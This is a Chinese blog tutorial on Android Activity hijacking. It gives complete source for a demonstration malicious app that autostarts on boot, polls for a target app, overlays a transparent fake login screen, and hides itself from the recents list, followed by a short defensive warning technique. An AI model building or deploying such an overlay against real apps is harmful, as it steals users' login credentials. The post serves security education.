Activity劫持实例与防护手段

6750阅读　0评论2015-04-02　cjxqhhh
分类：网络与安全

（本文只用于学习技术，提高大家警觉，切勿用于非法用途！）


什么叫Activity劫持


这里举一个例子。用户打开安卓手机上的某一应用，进入到登陆页面，这时，恶意软件侦测到用户的这一动作，立即弹出一个与该应用
界面相同的Activity，覆盖掉了合法的Activity，用户几乎无法察觉，该用户接下来输入用户名和密码的操作其实是在恶意软件的Activity上进行的，接下来会发生什么就可想而知了。


实例



Activity劫持的危害是非常大的，它的具体实现和一些细节，我将会用一个完整的实例说明：

首先，我们在Android Studio中新建一个工程，项目结构如下：



activity_main.xml的内容：

点击(此处)折叠或打开

  1. <RelativeLayout xmlns:android=""
  2.     xmlns:tools="" android:layout_width="match_parent"
  3.     android:layout_height="match_parent" >

  5.     <TextView
  6.         android:layout_width="match_parent"
  7.         android:layout_height="wrap_content"
  8.         android:text="Normal Activity"
  9.         android:gravity="center_horizontal"
  10.         android:padding="10dp"
  11.         android:background="#ffffff"/>
  12.     <LinearLayout
  13.         android:id="@+id/Layout1"
  14.         android:layout_width="wrap_content"
  15.         android:layout_height="wrap_content"
  16.         android:layout_centerHorizontal="true"
  17.         android:layout_marginTop="80dp"
  18.         android:orientation="horizontal">

  20.         <TextView
  21.             android:text="UserName"
  22.             android:layout_width="wrap_content"
  23.             android:layout_height="wrap_content"
  24.             android:textColor="#000000"
  25.             android:textSize="20dp" />

  27.         <EditText
  28.             android:id="@+id/UserNameEdit"
  29.             android:layout_width="100dp"
  30.             android:layout_height="wrap_content" />
  31.     </LinearLayout>

  33.     <LinearLayout
  34.         android:id="@+id/Layout2"
  35.         android:layout_width="wrap_content"
  36.         android:layout_height="wrap_content"
  37.         android:layout_centerHorizontal="true"
  38.         android:layout_marginTop="50dp"
  39.         android:orientation="horizontal"
  40.         android:layout_below="@id/Layout1">

  42.         <TextView
  43.             android:text="Password"
  44.             android:layout_width="wrap_content"
  45.             android:layout_height="wrap_content"
  46.             android:textColor="#000000"
  47.             android:textSize="20dp" />

  49.         <EditText
  50.             android:id="@+id/PasswordEdit"
  51.             android:layout_width="100dp"
  52.             android:layout_height="wrap_content" />
  53.     </LinearLayout>

  55.     <Button
  56.         android:id="@+id/LoginButton"
  57.         android:layout_width="wrap_content"
  58.         android:layout_height="wrap_content"
  59.         android:layout_below="@id/Layout2"
  60.         android:layout_marginTop="5dp"
  61.         android:layout_centerHorizontal="true"
  62.         android:text="Login"/>

  64. </RelativeLayout>

activity_second.xml的内容：只是一个TextView控件，显示"Second Activity"而已，就不贴代码了。

MainActivity.java的内容：

点击(此处)折叠或打开

  1. package com.example.hac.normalapp;

  3. import android.app.Activity;
  4. import android.content.Intent;
  5. import android.os.Bundle;
  6. import android.view.View;
  7. import android.widget.Button;
  8. import android.widget.EditText;

  10. //一个简单的界面，模拟用户输入用户名、密码，点击按钮后就跳转到SecondActivity
  11. //只是为了演示正常的Activity而已，无实际功能
  12. public class MainActivity extends Activity {

  14.     Button login = null;
  15.     EditText userName = null;
  16.     EditText password = null;

  18.     @Override
  19.     protected void onCreate(Bundle savedInstanceState) {
  20.         super.onCreate(savedInstanceState);
  21.         setContentView(R.layout.activity_main);

  23.         login = (Button)findViewById(R.id.LoginButton);
  24.         userName = (EditText)findViewById(R.id.UserNameEdit);
  25.         password = (EditText)findViewById(R.id.PasswordEdit);

  27.         login.setOnClickListener(new View.OnClickListener() {
  28.             @Override
  29.             public void onClick(View view) {
  30.                 Intent intent = new Intent(MainActivity.this, SecondActivity.class);
  31.                 //启动SecondActivity
  32.                 startActivity(intent);
  33.             }
  34.         });

  36.     }
  37. }

SecondActivity.java的内容：无内容，就是一个空的Activity,用于显示activity_second.xml的内容而已，不贴代码啦。
AndroidMainfest.xml的内容：就是普通的内容，不贴代码了。

接下来是我们的恶意软件，再新建一个工程，项目结构如下：

activity_fakemain.xml的内容：我们伪造的Activity布局，模仿上面正常的Activity布局。

点击(此处)折叠或打开

  1. <RelativeLayout xmlns:android=""
  2.     xmlns:tools="" android:layout_width="match_parent"
  3.     android:layout_height="match_parent" >

  5.     <TextView
  6.         android:layout_width="match_parent"
  7.         android:layout_height="wrap_content"
  8.         android:text="Normal Activity"
  9.         android:gravity="center_horizontal"
  10.         android:padding="10dp"
  11.         android:background="#ffffff"
  12.         android:visibility="invisible"/>
  13.     <LinearLayout
  14.         android:id="@+id/Layout1"
  15.         android:layout_width="wrap_content"
  16.         android:layout_height="wrap_content"
  17.         android:layout_centerHorizontal="true"
  18.         android:layout_marginTop="80dp"
  19.         android:orientation="horizontal">

  21.         <TextView
  22.             android:text="UserName"
  23.             android:layout_width="wrap_content"
  24.             android:layout_height="wrap_content"
  25.             android:textColor="#000000"
  26.             android:textSize="20dp"
  27.             android:visibility="invisible"/>

  29.         <EditText
  30.             android:id="@+id/UserNameEdit"
  31.             android:layout_width="100dp"
  32.             android:layout_height="wrap_content"
  33.             android:visibility="invisible"/>
  34.     </LinearLayout>

  36.     <LinearLayout
  37.         android:id="@+id/Layout2"
  38.         android:layout_width="wrap_content"
  39.         android:layout_height="wrap_content"
  40.         android:layout_centerHorizontal="true"
  41.         android:layout_marginTop="50dp"
  42.         android:orientation="horizontal"
  43.         android:layout_below="@id/Layout1">

  45.         <TextView
  46.             android:text="Password"
  47.             android:layout_width="wrap_content"
  48.             android:layout_height="wrap_content"
  49.             android:textColor="#000000"
  50.             android:textSize="20dp"
  51.             android:visibility="invisible"/>

  53.         <EditText
  54.             android:id="@+id/PasswordEdit"
  55.             android:layout_width="100dp"
  56.             android:layout_height="wrap_content"
  57.             android:visibility="invisible"/>
  58.     </LinearLayout>

  60.     <Button
  61.         android:id="@+id/LoginButton"
  62.         android:layout_width="wrap_content"
  63.         android:layout_height="wrap_content"
  64.         android:layout_below="@id/Layout2"
  65.         android:layout_marginTop="5dp"
  66.         android:layout_centerHorizontal="true"
  67.         android:text="Login"
  68.         android:visibility="invisible"/>

  70. </RelativeLayout>

activity_main.xml的内容：

点击(此处)折叠或打开

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <LinearLayout xmlns:android=""
  3.     android:orientation="vertical" android:layout_width="match_parent"
  4.     android:layout_height="match_parent">
  5.     <TextView
  6.         android:layout_width="wrap_content"
  7.         android:layout_height="wrap_content"
  8.         android:text="Start"
  9.         android:textSize="50dp"/>

  11.     <Button
  12.         android:id="@+id/StartServiceButton"
  13.         android:layout_width="wrap_content"
  14.         android:layout_height="wrap_content"
  15.         android:text="StartService"
  16.         android:padding="20dp"
  17.         android:layout_gravity="center_horizontal"/>


  20. </LinearLayout>

activity_main.xml的内容：

点击(此处)折叠或打开

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <LinearLayout xmlns:android=""
  3.     android:orientation="vertical" android:layout_width="match_parent"
  4.     android:layout_height="match_parent">
  5.     <TextView
  6.         android:layout_width="wrap_content"
  7.         android:layout_height="wrap_content"
  8.         android:text="Start"
  9.         android:textSize="50dp"/>

  11.     <Button
  12.         android:id="@+id/StartServiceButton"
  13.         android:layout_width="wrap_content"
  14.         android:layout_height="wrap_content"
  15.         android:text="StartService"
  16.         android:padding="20dp"
  17.         android:layout_gravity="center_horizontal"/>

  19. </LinearLayout>

AutoStartReceiver.java的内容：

点击(此处)折叠或打开

  1. package com.example.hac.evilapp;

  3. import android.content.BroadcastReceiver;
  4. import android.content.Context;
  5. import android.content.Intent;

  7. //用于开机自动启动HijackService的Receiver，它能够响应“android.intent.action.BOOT_COMPLETED”
  8. public class AutoStartReceiver extends BroadcastReceiver {
  9.     @Override
  10.     public void onReceive(Context context, Intent intent) {
  11.         if (intent.getAction().equals("android.intent.action.BOOT_COMPLETED")) {
  12.             Intent _intent = new Intent(context, HijackService.class);
  13.             //启动HijackService
  14.             context.startService(_intent);
  15.         }
  16.     }
  17. }

EvilApplication.java的内容：

点击(此处)折叠或打开

  1. package com.example.hac.evilapp;

  3. import android.app.Application;
  4. import java.util.ArrayList;
  5. import java.util.List;

  7. public class EvilApplication extends Application{
  8.     //存放已经被劫持的程序
  9.     List<String> hijackedList = new ArrayList<String>();

  11.     public boolean hasProgressBeHijacked(String processName) {
  12.         return hijackedList.contains(processName);
  13.     }

  15.     public void addHijacked(String processName) {
  16.         hijackedList.add(processName);
  17.     }

  19.     public void clearHijacked() {
  20.         hijackedList.clear();
  21.     }

  23. }

FakeMainActivity.java的内容：

点击(此处)折叠或打开

  1. package com.example.hac.evilapp;

  3. import android.app.Activity;
  4. import android.os.Bundle;
  5. import android.view.View;
  6. import android.widget.Button;
  7. import android.widget.EditText;
  8. import android.widget.Toast;
  9. import java.util.Timer;
  10. import java.util.TimerTask;

  12. public class FakeMainActivity extends Activity {
  13.     Button login = null;
  14.     EditText userName = null;
  15.     EditText password = null;

  17.     @Override
  18.     protected void onCreate(Bundle savedInstanceState) {
  19.         super.onCreate(savedInstanceState);
  20.         setContentView(R.layout.activity_fakemain);
  21.         login = (Button)findViewById(R.id.LoginButton);
  22.         userName = (EditText)findViewById(R.id.UserNameEdit);
  23.         password = (EditText)findViewById(R.id.PasswordEdit);

  25.         //下面这段代码主要是为了使用户更难察觉出我们伪造的Activity
  26.         //原理是保证我们伪造的Activity已经覆盖在真实的Activity上后，再将我们的控件显示出来
  27.         //我本来是想让我们伪造的Activity直接在原位淡入的，但没有实现，郁闷
  28.         //无奈只能用这个本方法，如果大家有更好的办法，请赐教
  29.         Timer timer = new Timer();
  30.         TimerTask task = new TimerTask() {
  31.             @Override
  32.             public void run() {
  33.                 runOnUiThread(new Runnable(){
  34.                     @Override
  35.                     public void run() {
  36.                         userName.setVisibility(View.VISIBLE);
  37.                         password.setVisibility(View.VISIBLE);
  38.                         login.setVisibility(View.VISIBLE);
  39.                     }});
  40.             }
  41.         };
  42.         timer.schedule(task, 1000);

  44.         login.setOnClickListener(new View.OnClickListener() {
  45.             @Override
  46.             public void onClick(View view) {
  47.                 //这里为了显示效果，将用户输入的内容显示出来，真正的恶意软件则会直接将信息发送给自己
  48.                 Toast.makeText(getApplicationContext(), userName.getText().toString() + " / " + password.getText().toString(), Toast.LENGTH_LONG).show();
  49.                 //为了伪造的Activity弹出时不那么明显
  50.                 userName.setVisibility(View.INVISIBLE);
  51.                 password.setVisibility(View.INVISIBLE);
  52.                 login.setVisibility(View.INVISIBLE);
  53.                 finish();

  55.             }
  56.         });
  57.     }
  58. }

HijackService.java的内容：

点击(此处)折叠或打开

  1. package com.example.hac.evilapp;

  3. import android.app.ActivityManager;
  4. import android.app.Service;
  5. import android.content.Context;
  6. import android.content.Intent;
  7. import android.os.Handler;
  8. import android.os.IBinder;
  9. import android.util.Log;

  11. import java.util.HashMap;
  12. import java.util.List;

  14. public class HijackService extends Service {

  16.     //targetMap用于存放我们的目标程序
  17.     HashMap<String, Class<?>> targetMap = new HashMap<String, Class<?>>();
  18.     Handler handler = new Handler();
  19.     boolean isStart = false;

  21.     //我们新建一个Runnable对象，每隔200ms进行一次搜索
  22.     Runnable searchTarget = new Runnable() {
  23.         @Override
  24.         public void run() {
  25.             //得到ActivityManager
  26.             ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
  27.             //通过ActivityManager将当前正在运行的进程存入processInfo中
  28.             List<ActivityManager.RunningAppProcessInfo> processInfo = activityManager.getRunningAppProcesses();
  29.             Log.w("恶意软件", "遍历进程");
  30.             //遍历processInfo中的进程信息，看是否有我们的目标
  31.             for (ActivityManager.RunningAppProcessInfo _processInfo : processInfo) {
  32.                 //若processInfo中的进程正在前台且是我们的目标进程，则调用hijack方法进行劫持
  33.                 if (_processInfo.importance == ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {
  34.                     if (targetMap.containsKey(_processInfo.processName)) {
  35.                         // 调用hijack方法进行劫持
  36.                         hijack(_processInfo.processName);
  37.                     } else {
  38.                         Log.w("进程", _processInfo.processName);
  39.                     }
  40.                 }
  41.             }
  42.             handler.postDelayed(searchTarget, 200);
  43.         }
  44.     };

  46.     //进行Activity劫持的函数
  47.     private void hijack(String processName) {
  48.         //这里判断我们的目标程序是否已经被劫持过了
  49.         if (((EvilApplication) getApplication())
  50.                 .hasProgressBeHijacked(processName) == false) {
  51.             Log.w("恶意软件", "开始劫持"+processName);
  52.             Intent intent = new Intent(getBaseContext(),
  53.                     targetMap.get(processName));
  54.             //这里必须将flag设置为Intent.FLAG_ACTIVITY_NEW_TASK，这样才能将我们伪造的Activity至于栈顶
  55.             intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
  56.             //启动我们伪造的Activity
  57.             getApplication().startActivity(intent);
  58.             //将目标程序加入到已劫持列表中
  59.             ((EvilApplication) getApplication()).addHijacked(processName);
  60.             Log.w("恶意软件", "已经劫持");
  61.         }
  62.     }
  63.     @Override
  64.     public void onStart(Intent intent, int startId) {
  65.         super.onStart(intent, startId);
  66.         if (!isStart) {
  67.             //将我们的目标加入targetMap中
  68.             //这里，key为我们的目标进程，value为我们伪造的Activity
  69.             targetMap.put("com.example.hac.normalapp",
  70.                     FakeMainActivity.class);
  71.             //启动searchTarget
  72.             handler.postDelayed(searchTarget, 1000);
  73.             isStart = true;
  74.         }
  75.     }

  77.     @Override
  78.     public boolean stopService(Intent name) {
  79.         isStart = false;
  80.         Log.w("恶意软件", "停止劫持");
  81.         //清空劫持列表
  82.         ((EvilApplication) getApplication()).clearHijacked();
  83.         //停止searchTarget
  84.         handler.removeCallbacks(searchTarget);
  85.         return super.stopService(name);
  86.     }

  88.     @Override
  89.     public IBinder onBind(Intent intent) {
  90.         return null;
  91.     }
  92. }

StartServiceActivity.java的内容：

点击(此处)折叠或打开

  1. package com.example.hac.evilapp;

  3. import android.app.Activity;
  4. import android.content.Intent;
  5. import android.os.Bundle;
  6. import android.view.View;
  7. import android.widget.Button;

  9. //用于手动启动我们的HijackService，真正的恶意软件通常不会有这样的一个Activity
  10. public class StartServiceActivity extends Activity {
  11.     Button startButton = null;

  13.     @Override
  14.     public void onCreate(Bundle savedInstanceState) {
  15.         super.onCreate(savedInstanceState);
  16.         setContentView(R.layout.activity_main);

  18.         startButton = (Button)findViewById(R.id.StartServiceButton)；

  20.         startButton.setOnClickListener(new View.OnClickListener() {
  21.             @Override
  22.             public void onClick(View view) {
  23.                 Intent intent2 = new Intent(StartServiceActivity.this, HijackService.class);
  24.                 startService(intent2);
  25.             }
  26.         });
  27.     }
  28. }

colors.xml的内容：

点击(此处)折叠或打开

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <resources>
  3.     <color name="translucent_background">#00000000</color>>
  4. </resources>

styles.xml的内容：

点击(此处)折叠或打开

  1. <resources>

  3.     <!-- Base application theme. -->
  4.     <style name="AppTheme" parent="Theme.AppCompat.Light.DarkActionBar">
  5.         <!-- Customize your theme here. -->
  6.     </style>

  8.     <style name="translucent" parent="Theme.AppCompat.Light.DarkActionBar">

  10.         <item name="android:windowBackground">@color/translucent_background</item>
  11.         <item name="android:windowIsTranslucent">true</item>
  12.         <item name="android:windowAnimationStyle">@android:style/Animation.Translucent</item>
  13.     </style>

  15. </resources>

AndroidMainfest.xml的内容：注意HijackService和AutoStartReceiver要在这里注册，且要添加相应的权限。另外，添加andorid:excludeFromRecent="true"这一项能够防止我们的恶意程序在最近访问列表中出现，这将提升其危险程度。

点击(此处)折叠或打开

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <manifest xmlns:android=""
  3.     package="com.example.hac.evilapp" >

  5.     <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />

  7.     <application

  9.         android:name=".EvilApplication"
  10.         android:allowBackup="true"
  11.         android:icon="@drawable/ic_launcher"
  12.         android:label="@string/app_name"
  13.         android:theme="@style/AppTheme" >
  14.         <activity
  15.             android:name=".StartServiceActivity"
  16.             android:label="@string/app_name"

  18.             android:excludeFromRecents="true">
  19.             <intent-filter>
  20.                 <action android:name="android.intent.action.MAIN" />

  22.                 <category android:name="android.intent.category.LAUNCHER" />
  23.             </intent-filter>
  24.         </activity>
  25.         <activity android:name=".FakeMainActivity" android:excludeFromRecents="true" android:theme="@style/translucent"/>
  26.         <service android:name=".HijackService" ></service>
  27.         <receiver
  28.             android:name=".AutoStartReceiver"
  29.             android:enabled="true"
  30.             android:exported="true" >
  31.             <intent-filter>
  32.                 <action android:name="android.intent.action.BOOT_COMPLETED" />
  33.             </intent-filter>
  34.         </receiver>

  36.     </application>

  38. </manifest>

项目工程下载（ChinaUnix对文件大小有限制，只能传百度网盘了）：

防护手段


目前，还没有什么专门针对Activity劫持的防护方法，因为，这种攻击是用户层面上的，目前还无法从代码层面上根除。
但是，我们可以适当地在APP中给用户一些警示信息，提示用户其登陆界面以被覆盖，并给出覆盖正常Activity的类名，示例如下：

1、在前面建立的正常Activity的登陆界面（也就是MainActivity）中重写onKeyDown方法和onPause方法，这样一来，当其被覆盖时，就能够弹出警示信息，代码如下：

点击(此处)折叠或打开

  1.     @Override
  2.     public boolean onKeyDown(int keyCode, KeyEvent event) {
  3.         //判断程序进入后台是否是用户自身造成的（触摸返回键或HOME键），是则无需弹出警示。
  4.         if((keyCode==KeyEvent.KEYCODE_BACK || keyCode==KeyEvent.KEYCODE_HOME) && event.getRepeatCount()==0){
  5.             needAlarm = false;
  6.         }
  7.         return super.onKeyDown(keyCode, event);
  8.     }

  10.     @Override
  11.     protected void onPause() {
  12.        //若程序进入后台不是用户自身造成的，则需要弹出警示
  13.         if(needAlarm) {
  14.             //弹出警示信息
  15.             Toast.makeText(getApplicationContext(), "您的登陆界面被覆盖，请确认登陆环境是否安全", Toast.LENGTH_SHORT).show();
  16.             //启动我们的AlarmService,用于给出覆盖了正常Activity的类名
  17.             Intent intent = new Intent(this, AlarmService.class);
  18.             startService(intent);
  19.         }
  20.         super.onPause();
  21.     }

2、实现AlarmService.java，代码如下：

点击(此处)折叠或打开

  1. package com.example.hac.normalapp;

  3. import android.app.ActivityManager;
  4. import android.app.Service;
  5. import android.content.Context;
  6. import android.content.Intent;
  7. import android.os.Handler;
  8. import android.os.IBinder;
  9. import android.widget.Toast;

  11. public class AlarmService extends Service{

  13.     boolean isStart = false;
  14.     Handler handler = new Handler();

  16.     Runnable alarmRunnable = new Runnable() {
  17.         @Override
  18.         public void run() {
  19.             //得到ActivityManager
  20.             ActivityManager activityManager = (ActivityManager)getSystemService(Context.ACTIVITY_SERVICE);
  21.             //getRunningTasks会返回一个List，List的大小等于传入的参数。
  22.             //get(0)可获得List中的第一个元素，即栈顶的task
  23.             ActivityManager.RunningTaskInfo info = activityManager.getRunningTasks(1).get(0);
  24.             //得到当前栈顶的类名，按照需求，也可以得到完整的类名和包名
  25.             String shortClassName = info.topActivity.getShortClassName(); //类名
  26.             //完整类名
  27.             //String className = info.topActivity.getClassName();
  28.             //包名
  29.             //String packageName = info.topActivity.getPackageName();
  30.             Toast.makeText(getApplicationContext(), "当前运行的程序为"+shortClassName, Toast.LENGTH_LONG).show();
  31.         }
  32.     };
  33.     @Override
  34.     public int onStartCommand(Intent intent, int flag, int startId) {
  35.         super.onStartCommand(intent, flag, startId);
  36.         if(!isStart) {
  37.             isStart = true;
  38.             //启动alarmRunnable
  39.             handler.postDelayed(alarmRunnable, 1000);
  40.             stopSelf();
  41.         }
  42.         return START_STICKY;
  43.     }
  44.     @Override
  45.     public IBinder onBind(Intent intent) {
  46.         return null;
  47.     }
  48. }

3、最后在AndroidManifest.xml中注册AlarmService即可。

新手发文，写得不对不好的地方麻烦指出，谢谢。



上一篇：SSL与TLS
下一篇：无线网络下的DOS攻击